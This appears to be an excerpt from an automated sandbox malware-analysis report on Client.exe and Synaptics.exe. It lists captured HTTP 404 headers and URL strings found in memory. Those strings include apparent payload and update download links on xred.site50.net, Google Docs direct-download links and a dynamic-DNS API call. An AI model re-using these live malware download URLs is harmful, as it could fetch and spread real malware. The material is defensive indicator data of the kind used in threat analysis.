Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:01 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-48BpwRQmqHSLP773JXxkrg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPjp7QBip41kSiEDaWJEWHLQ_hCGy0L5BEg90Fr-jkePEB4vRqckbTHPLMckR8W_P9jN9QServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:01 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-DuUOwMOMnhfnWVk9youf0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nNP_ovL3lNW0q1AyW-iJYJ9FdSaGmraFxUMtcGgbtjsGDxHTfl6jWQBKufwYTe-24lW8qkServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:02 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'report-sample' 'nonce-YkVbGxRrUtuVRW1qq6h2wQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nOzwHaDQJ17xjUknrFy9voJQ8pFofFsIaVbPVPDyZhm0y8YC8h4QZUUncz5PQKKUfENTTAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:02 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EOJveXgEAFvhI426qGMn4w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPAbUqiTPufiAznkUa0fdHUec7y1UiYHxlK69c2faCXmzWk6UG-fr5ux17vqlYShYJDalQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:05 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-c5InrbpePJP70VMVU5Ah8g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nOuiwY068K3mLUlO8KiSOaobozKSecr_hjrgyMt4lF7IswDJEI4VovSfzSF2kt1j6G4XAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:05 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-JuVVK1RRc1xZcsqeISWpqQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOrT0chPHJy43aM8sc2LZeUSYes_Ig4YHVtnLhU64-1-ZHNaIf53TGNXy3LUbOjnTFuyguldWtCiQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:06 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-d_FUVZlj-SMy_j1ZOnRCuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPKp_Nxy88lcAVnThNIxUW2HKMH-P98y7XXAauMjkd0yDdh6g1kIBuKidDe6OnUaMTj4pgServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:06 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-VYBCc6wv_feHN5AdMiHU9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNZ_EaxwGCuGtfP1XOUi7wmEIaE3RxVfFCG--qMSbSx9vZj_nOPwDfrseJEGCyUWHUoNe7Yr2hpJAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:07 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-77Ywy1ZFdfVsBDMu4wAuHQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nMh8RtLyX4Xqd49QCENroHzS690l6_1dtn6AJQ9gPA9vczUhSPnv13QeBFLmtEzr20SRQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:09 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'report-sample' 'nonce-H9HVmHwWHLICiIc2YWqiWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nNA_4UDZO9sbRz5hGG3qu6IrlUY2SifMVuGW540ze_WSV2jRNZNoBHLaQyB7wV5U2_RkwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:09 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-v2H-OX38Z5LzR9l4N4TsNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nODdgCV4WehhFqQ-6-0zbyFjfveUnpY0wuQz8qxDdRO6IBSfvwu5Etq7mWgcZynq4Fi2cIServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:10 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-gjRmeNj5L6QYWzbnMasAJA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1642X-GUploader-UploadID: AHxI1nN6lwisGfRkwjMpRXtH-_bHHgtkbWDmo-UtvKz0CU8yr3XXhhzjb4_5NAdcJe5Ek59lERLJRi7asAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 22 Aug 2024 11:11:10 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-gxq9gEXZGhPQEVJIS_z3Cg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nM9vSKfKFztnfko8e8h1g97MiR5YC6JmKf6WVgnVfMXAaQys44Xw2OpIpPhAernTaDiEYAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp, Client.exe, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: ._cache_Client.exe, 00000002.00000002.3876583700.0000000002CC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, Client.exe, 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000003.00000000.1417498699.00000000004B0000.00000002.00000001.01000000.00000006.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://www.eyuyan.com)DVarFileInfo$
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll6
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.iniZ
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarP
Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rarZ
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.0000000000744000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/-
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/..
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/...
Source: Synaptics.exe, 00000003.00000002.2102350198.000000001CB12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/M0
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/N
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/VPDVN
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/etleniyor...
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/r...
Source: Synaptics.exe, 00000003.00000002.2097024769.0000000018EFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2095101130.00000000165BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2105174600.000000001EBFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2115890764.00000000269BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2075535031.000000000A56E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2099196406.000000001B5BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2085896784.000000000FD3E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp, RCXEF1B.tmp.0.dr, Synaptics.exe.0.dr, ~$cache1.3.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: Synaptics.exe, 00000003.00000002.2067777309.0000000002060000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downloadN
Source: Client.exe, 00000000.00000003.1417680407.00000000022B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Client.exe, 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, Synaptics.exe, 00000003.00000002.2094477555.0000000015A7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2103764434.000000001D7FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2104436110.000000001E1FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2107045671.00000000201FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2091737789.000000001237E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2099661465.000000001BFBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2097520274.00000000198FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2109686147.000000002227E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2075213192.000000000A06E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2069844344.000000000575E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068558974.0000000004A8E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2076802679.000000000B97E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2097201919.00000000192BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2096216136.0000000017D7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2094602844.0000000015CFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068601270.0000000004BCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2095695718.000000001723E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2099774947.000000001C23E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2076719993.000000000B83E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000003.00000002.2080697244.000000000EF82000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2068898665.0000000005413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2084483626.000000000F2E1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2082652555.000000000F13C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#8
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#F
Source: Synaptics.exe, 00000003.00000002.2071412372.0000000007312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#L
Source: Synaptics.exe, 00000003.00000002.2081418540.000000000F007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$3
Source: Synaptics.exe, 00000003.00000002.2084483626.000000000F310000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$q
